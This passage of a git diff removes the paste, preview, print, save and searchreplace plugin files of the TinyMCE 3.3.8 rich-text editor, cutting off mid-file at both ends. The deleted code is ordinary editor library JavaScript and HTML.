'p,h1,h2,h3,h4,h5,h6,ul,ol,th,td'); - - // If it's a parent block but not a table cell - if (parentBlock && !/TD|TH/.test(parentBlock.nodeName)) { - // Split parent block - marker = dom.split(parentBlock, marker); - - // Insert nodes before the marker - each(dom.create('div', 0, content).childNodes, function(n) { - last = marker.parentNode.insertBefore(n.cloneNode(true), marker); - }); - - // Move caret after marker - select(last); - } else { - dom.setOuterHTML(marker, content); - sel.select(ed.getBody(), 1); - sel.collapse(0); - } - - // Remove marker if it's left - while (elm = dom.get(markerId)) - dom.remove(elm); - - // Get element, position and height - elm = sel.getStart(); - vp = dom.getViewPort(ed.getWin()); - y = ed.dom.getPos(elm).y; - elmHeight = elm.clientHeight; - - // Is element within viewport if not then scroll it into view - if (y < vp.y || y + elmHeight > vp.y + vp.h) - ed.getDoc().body.scrollTop = y < vp.y ? y : y - vp.h + 25; - }, - - /** - * Inserts the specified contents at the caret position. - */ - _insert : function(h, skip_undo) { - var ed = this.editor, r = ed.selection.getRng(); - - // First delete the contents seems to work better on WebKit when the selection spans multiple list items or multiple table cells. - if (!ed.selection.isCollapsed() && r.startContainer != r.endContainer) - ed.getDoc().execCommand('Delete', false, null); - - // It's better to use the insertHTML method on Gecko since it will combine paragraphs correctly before inserting the contents - ed.execCommand(tinymce.isGecko ? 'insertHTML' : 'mceInsertContent', false, h, {skip_undo : skip_undo}); - }, - - /** - * Instead of the old plain text method which tried to re-create a paste operation, the - * new approach adds a plain text mode toggle switch that changes the behavior of paste. - * This function is passed the same input that the regular paste plugin produces. - * It performs additional scrubbing and produces (and inserts) the plain text. - * This approach leverages all of the great existing functionality in the paste - * plugin, and requires minimal changes to add the new functionality. - * Speednet - June 2009 - */ - _insertPlainText : function(ed, dom, h) { - var i, len, pos, rpos, node, breakElms, before, after, - w = ed.getWin(), - d = ed.getDoc(), - sel = ed.selection, - is = tinymce.is, - inArray = tinymce.inArray, - linebr = getParam(ed, "paste_text_linebreaktype"), - rl = getParam(ed, "paste_text_replacements"); - - function process(items) { - each(items, function(v) { - if (v.constructor == RegExp) - h = h.replace(v, ""); - else - h = h.replace(v[0], v[1]); - }); - }; - - if ((typeof(h) === "string") && (h.length > 0)) { - if (!entities) - entities = ("34,quot,38,amp,39,apos,60,lt,62,gt," + ed.serializer.settings.entities).split(","); - - // If HTML content with line-breaking tags, then remove all cr/lf chars because only tags will break a line - if (/<(?:p|br|h[1-6]|ul|ol|dl|table|t[rdh]|div|blockquote|fieldset|pre|address|center)[^>]*>/i.test(h)) { - process([ - /[\n\r]+/g - ]); - } else { - // Otherwise just get rid of carriage returns (only need linefeeds) - process([ - /\r+/g - ]); - } - - process([ - [/<\/(?:p|h[1-6]|ul|ol|dl|table|div|blockquote|fieldset|pre|address|center)>/gi, "\n\n"], // Block tags get a blank line after them - [/<br[^>]*>|<\/tr>/gi, "\n"], // Single linebreak for <br /> tags and table rows - [/<\/t[dh]>\s*<t[dh][^>]*>/gi, "\t"], // Table cells get tabs betweem them - /<[a-z!\/?][^>]*>/gi, // Delete all remaining tags - [/&nbsp;/gi, " "], // Convert non-break spaces to regular spaces (remember, *plain text*) - [ - // HTML entity - /&(#\d+|[a-z0-9]{1,10});/gi, - - // Replace with actual character - function(e, s) { - if (s.charAt(0) === "#") { - return String.fromCharCode(s.slice(1)); - } - else { - return ((e = inArray(entities, s)) > 0)? String.fromCharCode(entities[e-1]) : " "; - } - } - ], - [/(?:(?!\n)\s)*(\n+)(?:(?!\n)\s)*/gi, "$1"], // Cool little RegExp deletes whitespace around linebreak chars. - [/\n{3,}/g, "\n\n"], // Max. 2 consecutive linebreaks - /^\s+|\s+$/g // Trim the front & back - ]); - - h = dom.encode(h); - - // Delete any highlighted text before pasting - if (!sel.isCollapsed()) { - d.execCommand("Delete", false, null); - } - - // Perform default or custom replacements - if (is(rl, "array") || (is(rl, "array"))) { - process(rl); - } - else if (is(rl, "string")) { - process(new RegExp(rl, "gi")); - } - - // Treat paragraphs as specified in the config - if (linebr == "none") { - process([ - [/\n+/g, " "] - ]); - } - else if (linebr == "br") { - process([ - [/\n/g, "<br />"] - ]); - } - else { - process([ - /^\s+|\s+$/g, - [/\n\n/g, "</p><p>"], - [/\n/g, "<br />"] - ]); - } - - // This next piece of code handles the situation where we're pasting more than one paragraph of plain - // text, and we are pasting the content into the middle of a block node in the editor. The block - // node gets split at the selection point into "Para A" and "Para B" (for the purposes of explaining). - // The first paragraph of the pasted text is appended to "Para A", and the last paragraph of the - // pasted text is prepended to "Para B". Any other paragraphs of pasted text are placed between - // "Para A" and "Para B". This code solves a host of problems with the original plain text plugin and - // now handles styles correctly. (Pasting plain text into a styled paragraph is supposed to make the - // plain text take the same style as the existing paragraph.) - if ((pos = h.indexOf("</p><p>")) != -1) { - rpos = h.lastIndexOf("</p><p>"); - node = sel.getNode(); - breakElms = []; // Get list of elements to break - - do { - if (node.nodeType == 1) { - // Don't break tables and break at body - if (node.nodeName == "TD" || node.nodeName == "BODY") { - break; - } - - breakElms[breakElms.length] = node; - } - } while (node = node.parentNode); - - // Are we in the middle of a block node? - if (breakElms.length > 0) { - before = h.substring(0, pos); - after = ""; - - for (i=0, len=breakElms.length; i<len; i++) { - before += "</" + breakElms[i].nodeName.toLowerCase() + ">"; - after += "<" + breakElms[breakElms.length-i-1].nodeName.toLowerCase() + ">"; - } - - if (pos == rpos) { - h = before + after + h.substring(pos+7); - } - else { - h = before + h.substring(pos+4, rpos+4) + after + h.substring(rpos+7); - } - } - } - - // Insert content at the caret, plus add a marker for repositioning the caret - ed.execCommand("mceInsertRawHTML", false, h + '<span id="_plain_text_marker">&nbsp;</span>'); - - // Reposition the caret to the marker, which was placed immediately after the inserted content. - // Needs to be done asynchronously (in window.setTimeout) or else it doesn't work in all browsers. - // The second part of the code scrolls the content up if the caret is positioned off-screen. - // This is only necessary for WebKit browsers, but it doesn't hurt to use for all. - window.setTimeout(function() { - var marker = dom.get('_plain_text_marker'), - elm, vp, y, elmHeight; - - sel.select(marker, false); - d.execCommand("Delete", false, null); - marker = null; - - // Get element, position and height - elm = sel.getStart(); - vp = dom.getViewPort(w); - y = dom.getPos(elm).y; - elmHeight = elm.clientHeight; - - // Is element within viewport if not then scroll it into view - if ((y < vp.y) || (y + elmHeight > vp.y + vp.h)) { - d.body.scrollTop = y < vp.y ? y : y - vp.h + 25; - } - }, 0); - } - }, - - /** - * This method will open the old style paste dialogs. Some users might want the old behavior but still use the new cleanup engine. - */ - _legacySupport : function() { - var t = this, ed = t.editor; - - // Register command(s) for backwards compatibility - ed.addCommand("mcePasteWord", function() { - ed.windowManager.open({ - file: t.url + "/pasteword.htm", - width: parseInt(getParam(ed, "paste_dialog_width")), - height: parseInt(getParam(ed, "paste_dialog_height")), - inline: 1 - }); - }); - - if (getParam(ed, "paste_text_use_dialog")) { - ed.addCommand("mcePasteText", function() { - ed.windowManager.open({ - file : t.url + "/pastetext.htm", - width: parseInt(getParam(ed, "paste_dialog_width")), - height: parseInt(getParam(ed, "paste_dialog_height")), - inline : 1 - }); - }); - } - - // Register button for backwards compatibility - ed.addButton("pasteword", {title : "paste.paste_word_desc", cmd : "mcePasteWord"}); - } - }); - - // Register plugin - tinymce.PluginManager.add("paste", tinymce.plugins.PastePlugin); -})(); diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/paste/js/pastetext.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/paste/js/pastetext.js deleted file mode 100644 index c524f9e..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/paste/js/pastetext.js +++ /dev/null @@ -1,36 +0,0 @@ -tinyMCEPopup.requireLangPack(); - -var PasteTextDialog = { - init : function() { - this.resize(); - }, - - insert : function() { - var h = tinyMCEPopup.dom.encode(document.getElementById('content').value), lines; - - // Convert linebreaks into paragraphs - if (document.getElementById('linebreaks').checked) { - lines = h.split(/\r?\n/); - if (lines.length > 1) { - h = ''; - tinymce.each(lines, function(row) { - h += '<p>' + row + '</p>'; - }); - } - } - - tinyMCEPopup.editor.execCommand('mceInsertClipboardContent', false, {content : h}); - tinyMCEPopup.close(); - }, - - resize : function() { - var vp = tinyMCEPopup.dom.getViewPort(window), el; - - el = document.getElementById('content'); - - el.style.width = (vp.w - 20) + 'px'; - el.style.height = (vp.h - 90) + 'px'; - } -}; - -tinyMCEPopup.onInit.add(PasteTextDialog.init, PasteTextDialog); diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/paste/js/pasteword.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/paste/js/pasteword.js deleted file mode 100644 index a52731c..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/paste/js/pasteword.js +++ /dev/null @@ -1,51 +0,0 @@ -tinyMCEPopup.requireLangPack(); - -var PasteWordDialog = { - init : function() { - var ed = tinyMCEPopup.editor, el = document.getElementById('iframecontainer'), ifr, doc, css, cssHTML = ''; - - // Create iframe - el.innerHTML = '<iframe id="iframe" src="javascript:\'\';" frameBorder="0" style="border: 1px solid gray"></iframe>'; - ifr = document.getElementById('iframe'); - doc = ifr.contentWindow.document; - - // Force absolute CSS urls - css = [ed.baseURI.toAbsolute("themes/" + ed.settings.theme + "/skins/" + ed.settings.skin + "/content.css")]; - css = css.concat(tinymce.explode(ed.settings.content_css) || []); - tinymce.each(css, function(u) { - cssHTML += '<link href="' + ed.documentBaseURI.toAbsolute('' + u) + '" rel="stylesheet" type="text/css" />'; - }); - - // Write content into iframe - doc.open(); - doc.write('<html><head>' + cssHTML + '</head><body class="mceContentBody" spellcheck="false"></body></html>'); - doc.close(); - - doc.designMode = 'on'; - this.resize(); - - window.setTimeout(function() { - ifr.contentWindow.focus(); - }, 10); - }, - - insert : function() { - var h = document.getElementById('iframe').contentWindow.document.body.innerHTML; - - tinyMCEPopup.editor.execCommand('mceInsertClipboardContent', false, {content : h, wordContent : true}); - tinyMCEPopup.close(); - }, - - resize : function() { - var vp = tinyMCEPopup.dom.getViewPort(window), el; - - el = document.getElementById('iframe'); - - if (el) { - el.style.width = (vp.w - 20) + 'px'; - el.style.height = (vp.h - 90) + 'px'; - } - } -}; - -tinyMCEPopup.onInit.add(PasteWordDialog.init, PasteWordDialog); diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/paste/langs/en_dlg.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/paste/langs/en_dlg.js deleted file mode 100644 index eeac778..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/paste/langs/en_dlg.js +++ /dev/null @@ -1,5 +0,0 @@ -tinyMCE.addI18n('en.paste_dlg',{ -text_title:"Use CTRL+V on your keyboard to paste the text into the window.", -text_linebreaks:"Keep linebreaks", -word_title:"Use CTRL+V on your keyboard to paste the text into the window." -}); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/paste/pastetext.htm b/tinymce-3.3.8/jscripts/tiny_mce/plugins/paste/pastetext.htm deleted file mode 100644 index b655945..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/paste/pastetext.htm +++ /dev/null @@ -1,27 +0,0 @@ -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> - <title>{#paste.paste_text_desc}</title> - <script type="text/javascript" src="../../tiny_mce_popup.js"></script> - <script type="text/javascript" src="js/pastetext.js"></script> -</head> -<body onresize="PasteTextDialog.resize();" style="display:none; overflow:hidden;"> - <form name="source" onsubmit="return PasteTextDialog.insert();" action="#"> - <div style="float: left" class="title">{#paste.paste_text_desc}</div> - - <div style="float: right"> - <input type="checkbox" name="linebreaks" id="linebreaks" class="wordWrapCode" checked="checked" /><label for="linebreaks">{#paste_dlg.text_linebreaks}</label> - </div> - - <br style="clear: both" /> - - <div>{#paste_dlg.text_title}</div> - - <textarea id="content" name="content" rows="15" cols="100" style="width: 100%; height: 100%; font-family: 'Courier New',Courier,mono; font-size: 12px;" dir="ltr" wrap="soft" class="mceFocus"></textarea> - - <div class="mceActionPanel"> - <input type="submit" name="insert" value="{#insert}" id="insert" /> - <input type="button" name="cancel" value="{#cancel}" onclick="tinyMCEPopup.close();" id="cancel" /> - </div> - </form> -</body> -</html> \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/paste/pasteword.htm b/tinymce-3.3.8/jscripts/tiny_mce/plugins/paste/pasteword.htm deleted file mode 100644 index 0f6bb41..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/paste/pasteword.htm +++ /dev/null @@ -1,21 +0,0 @@ -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> - <title>{#paste.paste_word_desc}</title> - <script type="text/javascript" src="../../tiny_mce_popup.js"></script> - <script type="text/javascript" src="js/pasteword.js"></script> -</head> -<body onresize="PasteWordDialog.resize();" style="display:none; overflow:hidden;"> - <form name="source" onsubmit="return PasteWordDialog.insert();" action="#"> - <div class="title">{#paste.paste_word_desc}</div> - - <div>{#paste_dlg.word_title}</div> - - <div id="iframecontainer"></div> - - <div class="mceActionPanel"> - <input type="submit" id="insert" name="insert" value="{#insert}" /> - <input type="button" id="cancel" name="cancel" value="{#cancel}" onclick="tinyMCEPopup.close();" /> - </div> - </form> -</body> -</html> diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/preview/editor_plugin.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/preview/editor_plugin.js deleted file mode 100644 index 507909c..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/preview/editor_plugin.js +++ /dev/null @@ -1 +0,0 @@ -(function(){tinymce.create("tinymce.plugins.Preview",{init:function(a,b){var d=this,c=tinymce.explode(a.settings.content_css);d.editor=a;tinymce.each(c,function(f,e){c[e]=a.documentBaseURI.toAbsolute(f)});a.addCommand("mcePreview",function(){a.windowManager.open({file:a.getParam("plugin_preview_pageurl",b+"/preview.html"),width:parseInt(a.getParam("plugin_preview_width","550")),height:parseInt(a.getParam("plugin_preview_height","600")),resizable:"yes",scrollbars:"yes",popup_css:c?c.join(","):a.baseURI.toAbsolute("themes/"+a.settings.theme+"/skins/"+a.settings.skin+"/content.css"),inline:a.getParam("plugin_preview_inline",1)},{base:a.documentBaseURI.getURI()})});a.addButton("preview",{title:"preview.preview_desc",cmd:"mcePreview"})},getInfo:function(){return{longname:"Preview",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/preview",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("preview",tinymce.plugins.Preview)})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/preview/editor_plugin_src.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/preview/editor_plugin_src.js deleted file mode 100644 index 80f00f0..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/preview/editor_plugin_src.js +++ /dev/null @@ -1,53 +0,0 @@ -/** - * editor_plugin_src.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -(function() { - tinymce.create('tinymce.plugins.Preview', { - init : function(ed, url) { - var t = this, css = tinymce.explode(ed.settings.content_css); - - t.editor = ed; - - // Force absolute CSS urls - tinymce.each(css, function(u, k) { - css[k] = ed.documentBaseURI.toAbsolute(u); - }); - - ed.addCommand('mcePreview', function() { - ed.windowManager.open({ - file : ed.getParam("plugin_preview_pageurl", url + "/preview.html"), - width : parseInt(ed.getParam("plugin_preview_width", "550")), - height : parseInt(ed.getParam("plugin_preview_height", "600")), - resizable : "yes", - scrollbars : "yes", - popup_css : css ? css.join(',') : ed.baseURI.toAbsolute("themes/" + ed.settings.theme + "/skins/" + ed.settings.skin + "/content.css"), - inline : ed.getParam("plugin_preview_inline", 1) - }, { - base : ed.documentBaseURI.getURI() - }); - }); - - ed.addButton('preview', {title : 'preview.preview_desc', cmd : 'mcePreview'}); - }, - - getInfo : function() { - return { - longname : 'Preview', - author : 'Moxiecode Systems AB', - authorurl : 'http://tinymce.moxiecode.com', - infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/preview', - version : tinymce.majorVersion + "." + tinymce.minorVersion - }; - } - }); - - // Register plugin - tinymce.PluginManager.add('preview', tinymce.plugins.Preview); -})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/preview/example.html b/tinymce-3.3.8/jscripts/tiny_mce/plugins/preview/example.html deleted file mode 100644 index b2c3d90..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/preview/example.html +++ /dev/null @@ -1,28 +0,0 @@ -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> -<script language="javascript" src="../../tiny_mce_popup.js"></script> -<script type="text/javascript" src="jscripts/embed.js"></script> -<script type="text/javascript"> -tinyMCEPopup.onInit.add(function(ed) { - var dom = tinyMCEPopup.dom; - - // Load editor content_css - tinymce.each(ed.settings.content_css.split(','), function(u) { - dom.loadCSS(ed.documentBaseURI.toAbsolute(u)); - }); - - // Place contents inside div container - dom.setHTML('content', ed.getContent()); -}); -</script> -<title>Example of a custom preview page</title> -</head> -<body> - -Editor contents: <br /> -<div id="content"> -<!-- Gets filled with editor contents --> -</div> - -</body> -</html> diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/preview/jscripts/embed.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/preview/jscripts/embed.js deleted file mode 100644 index f8dc810..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/preview/jscripts/embed.js +++ /dev/null @@ -1,73 +0,0 @@ -/** - * This script contains embed functions for common plugins. This scripts are complety free to use for any purpose. - */ - -function writeFlash(p) { - writeEmbed( - 'D27CDB6E-AE6D-11cf-96B8-444553540000', - 'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0', - 'application/x-shockwave-flash', - p - ); -} - -function writeShockWave(p) { - writeEmbed( - '166B1BCA-3F9C-11CF-8075-444553540000', - 'http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=8,5,1,0', - 'application/x-director', - p - ); -} - -function writeQuickTime(p) { - writeEmbed( - '02BF25D5-8C17-4B23-BC80-D3488ABDDC6B', - 'http://www.apple.com/qtactivex/qtplugin.cab#version=6,0,2,0', - 'video/quicktime', - p - ); -} - -function writeRealMedia(p) { - writeEmbed( - 'CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA', - 'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0', - 'audio/x-pn-realaudio-plugin', - p - ); -} - -function writeWindowsMedia(p) { - p.url = p.src; - writeEmbed( - '6BF52A52-394A-11D3-B153-00C04F79FAA6', - 'http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701', - 'application/x-mplayer2', - p - ); -} - -function writeEmbed(cls, cb, mt, p) { - var h = '', n; - - h += '<object classid="clsid:' + cls + '" codebase="' + cb + '"'; - h += typeof(p.id) != "undefined" ? 'id="' + p.id + '"' : ''; - h += typeof(p.name) != "undefined" ? 'name="' + p.name + '"' : ''; - h += typeof(p.width) != "undefined" ? 'width="' + p.width + '"' : ''; - h += typeof(p.height) != "undefined" ? 'height="' + p.height + '"' : ''; - h += typeof(p.align) != "undefined" ? 'align="' + p.align + '"' : ''; - h += '>'; - - for (n in p) - h += '<param name="' + n + '" value="' + p[n] + '">'; - - h += '<embed type="' + mt + '"'; - - for (n in p) - h += n + '="' + p[n] + '" '; - - h += '></embed></object>'; - - document.write(h); -} diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/preview/preview.html b/tinymce-3.3.8/jscripts/tiny_mce/plugins/preview/preview.html deleted file mode 100644 index 67e7b14..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/preview/preview.html +++ /dev/null @@ -1,17 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> -<script type="text/javascript" src="../../tiny_mce_popup.js"></script> -<script type="text/javascript" src="jscripts/embed.js"></script> -<script type="text/javascript"><!-- -document.write('<base href="' + tinyMCEPopup.getWindowArg("base") + '">'); -// --> -</script> -<title>{#preview.preview_desc}</title> -</head> -<body id="content"> -<script type="text/javascript"> - document.write(tinyMCEPopup.editor.getContent()); -</script> -</body> -</html> diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/print/editor_plugin.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/print/editor_plugin.js deleted file mode 100644 index b5b3a55..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/print/editor_plugin.js +++ /dev/null @@ -1 +0,0 @@ -(function(){tinymce.create("tinymce.plugins.Print",{init:function(a,b){a.addCommand("mcePrint",function(){a.getWin().print()});a.addButton("print",{title:"print.print_desc",cmd:"mcePrint"})},getInfo:function(){return{longname:"Print",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/print",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("print",tinymce.plugins.Print)})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/print/editor_plugin_src.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/print/editor_plugin_src.js deleted file mode 100644 index 3933fe6..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/print/editor_plugin_src.js +++ /dev/null @@ -1,34 +0,0 @@ -/** - * editor_plugin_src.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -(function() { - tinymce.create('tinymce.plugins.Print', { - init : function(ed, url) { - ed.addCommand('mcePrint', function() { - ed.getWin().print(); - }); - - ed.addButton('print', {title : 'print.print_desc', cmd : 'mcePrint'}); - }, - - getInfo : function() { - return { - longname : 'Print', - author : 'Moxiecode Systems AB', - authorurl : 'http://tinymce.moxiecode.com', - infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/print', - version : tinymce.majorVersion + "." + tinymce.minorVersion - }; - } - }); - - // Register plugin - tinymce.PluginManager.add('print', tinymce.plugins.Print); -})(); diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/save/editor_plugin.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/save/editor_plugin.js deleted file mode 100644 index 8e93996..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/save/editor_plugin.js +++ /dev/null @@ -1 +0,0 @@ -(function(){tinymce.create("tinymce.plugins.Save",{init:function(a,b){var c=this;c.editor=a;a.addCommand("mceSave",c._save,c);a.addCommand("mceCancel",c._cancel,c);a.addButton("save",{title:"save.save_desc",cmd:"mceSave"});a.addButton("cancel",{title:"save.cancel_desc",cmd:"mceCancel"});a.onNodeChange.add(c._nodeChange,c);a.addShortcut("ctrl+s",a.getLang("save.save_desc"),"mceSave")},getInfo:function(){return{longname:"Save",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/save",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_nodeChange:function(b,a,c){var b=this.editor;if(b.getParam("save_enablewhendirty")){a.setDisabled("save",!b.isDirty());a.setDisabled("cancel",!b.isDirty())}},_save:function(){var c=this.editor,a,e,d,b;a=tinymce.DOM.get(c.id).form||tinymce.DOM.getParent(c.id,"form");if(c.getParam("save_enablewhendirty")&&!c.isDirty()){return}tinyMCE.triggerSave();if(e=c.getParam("save_onsavecallback")){if(c.execCallback("save_onsavecallback",c)){c.startContent=tinymce.trim(c.getContent({format:"raw"}));c.nodeChanged()}return}if(a){c.isNotDirty=true;if(a.onsubmit==null||a.onsubmit()!=false){a.submit()}c.nodeChanged()}else{c.windowManager.alert("Error: No form element found.")}},_cancel:function(){var a=this.editor,c,b=tinymce.trim(a.startContent);if(c=a.getParam("save_oncancelcallback")){a.execCallback("save_oncancelcallback",a);return}a.setContent(b);a.undoManager.clear();a.nodeChanged()}});tinymce.PluginManager.add("save",tinymce.plugins.Save)})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/save/editor_plugin_src.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/save/editor_plugin_src.js deleted file mode 100644 index f5a3de8..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/save/editor_plugin_src.js +++ /dev/null @@ -1,101 +0,0 @@ -/** - * editor_plugin_src.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -(function() { - tinymce.create('tinymce.plugins.Save', { - init : function(ed, url) { - var t = this; - - t.editor = ed; - - // Register commands - ed.addCommand('mceSave', t._save, t); - ed.addCommand('mceCancel', t._cancel, t); - - // Register buttons - ed.addButton('save', {title : 'save.save_desc', cmd : 'mceSave'}); - ed.addButton('cancel', {title : 'save.cancel_desc', cmd : 'mceCancel'}); - - ed.onNodeChange.add(t._nodeChange, t); - ed.addShortcut('ctrl+s', ed.getLang('save.save_desc'), 'mceSave'); - }, - - getInfo : function() { - return { - longname : 'Save', - author : 'Moxiecode Systems AB', - authorurl : 'http://tinymce.moxiecode.com', - infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/save', - version : tinymce.majorVersion + "." + tinymce.minorVersion - }; - }, - - // Private methods - - _nodeChange : function(ed, cm, n) { - var ed = this.editor; - - if (ed.getParam('save_enablewhendirty')) { - cm.setDisabled('save', !ed.isDirty()); - cm.setDisabled('cancel', !ed.isDirty()); - } - }, - - // Private methods - - _save : function() { - var ed = this.editor, formObj, os, i, elementId; - - formObj = tinymce.DOM.get(ed.id).form || tinymce.DOM.getParent(ed.id, 'form'); - - if (ed.getParam("save_enablewhendirty") && !ed.isDirty()) - return; - - tinyMCE.triggerSave(); - - // Use callback instead - if (os = ed.getParam("save_onsavecallback")) { - if (ed.execCallback('save_onsavecallback', ed)) { - ed.startContent = tinymce.trim(ed.getContent({format : 'raw'})); - ed.nodeChanged(); - } - - return; - } - - if (formObj) { - ed.isNotDirty = true; - - if (formObj.onsubmit == null || formObj.onsubmit() != false) - formObj.submit(); - - ed.nodeChanged(); - } else - ed.windowManager.alert("Error: No form element found."); - }, - - _cancel : function() { - var ed = this.editor, os, h = tinymce.trim(ed.startContent); - - // Use callback instead - if (os = ed.getParam("save_oncancelcallback")) { - ed.execCallback('save_oncancelcallback', ed); - return; - } - - ed.setContent(h); - ed.undoManager.clear(); - ed.nodeChanged(); - } - }); - - // Register plugin - tinymce.PluginManager.add('save', tinymce.plugins.Save); -})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/searchreplace/css/searchreplace.css b/tinymce-3.3.8/jscripts/tiny_mce/plugins/searchreplace/css/searchreplace.css deleted file mode 100644 index ecdf58c..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/searchreplace/css/searchreplace.css +++ /dev/null @@ -1,6 +0,0 @@ -.panel_wrapper {height:85px;} -.panel_wrapper div.current {height:85px;} - -/* IE */ -* html .panel_wrapper {height:100px;} -* html .panel_wrapper div.current {height:100px;} diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/searchreplace/editor_plugin.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/searchreplace/editor_plugin.js deleted file mode 100644 index cd9c985..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/searchreplace/editor_plugin.js +++ /dev/null @@ -1 +0,0 @@ -(function(){tinymce.create("tinymce.plugins.SearchReplacePlugin",{init:function(a,c){function b(d){a.windowManager.open({file:c+"/searchreplace.htm",width:420+parseInt(a.getLang("searchreplace.delta_width",0)),height:170+parseInt(a.getLang("searchreplace.delta_height",0)),inline:1,auto_focus:0},{mode:d,search_string:a.selection.getContent({format:"text"}),plugin_url:c})}a.addCommand("mceSearch",function(){b("search")});a.addCommand("mceReplace",function(){b("replace")});a.addButton("search",{title:"searchreplace.search_desc",cmd:"mceSearch"});a.addButton("replace",{title:"searchreplace.replace_desc",cmd:"mceReplace"});a.addShortcut("ctrl+f","searchreplace.search_desc","mceSearch")},getInfo:function(){return{longname:"Search/Replace",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/searchreplace",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("searchreplace",tinymce.plugins.SearchReplacePlugin)})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/searchreplace/editor_plugin_src.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/searchreplace/editor_plugin_src.js deleted file mode 100644 index 1433a06..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/searchreplace/editor_plugin_src.js +++ /dev/null @@ -1,57 +0,0 @@ -/** - * editor_plugin_src.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -(function() { - tinymce.create('tinymce.plugins.SearchReplacePlugin', { - init : function(ed, url) { - function open(m) { - ed.windowManager.open({ - file : url + '/searchreplace.htm', - width : 420 + parseInt(ed.getLang('searchreplace.delta_width', 0)), - height : 170 + parseInt(ed.getLang('searchreplace.delta_height', 0)), - inline : 1, - auto_focus 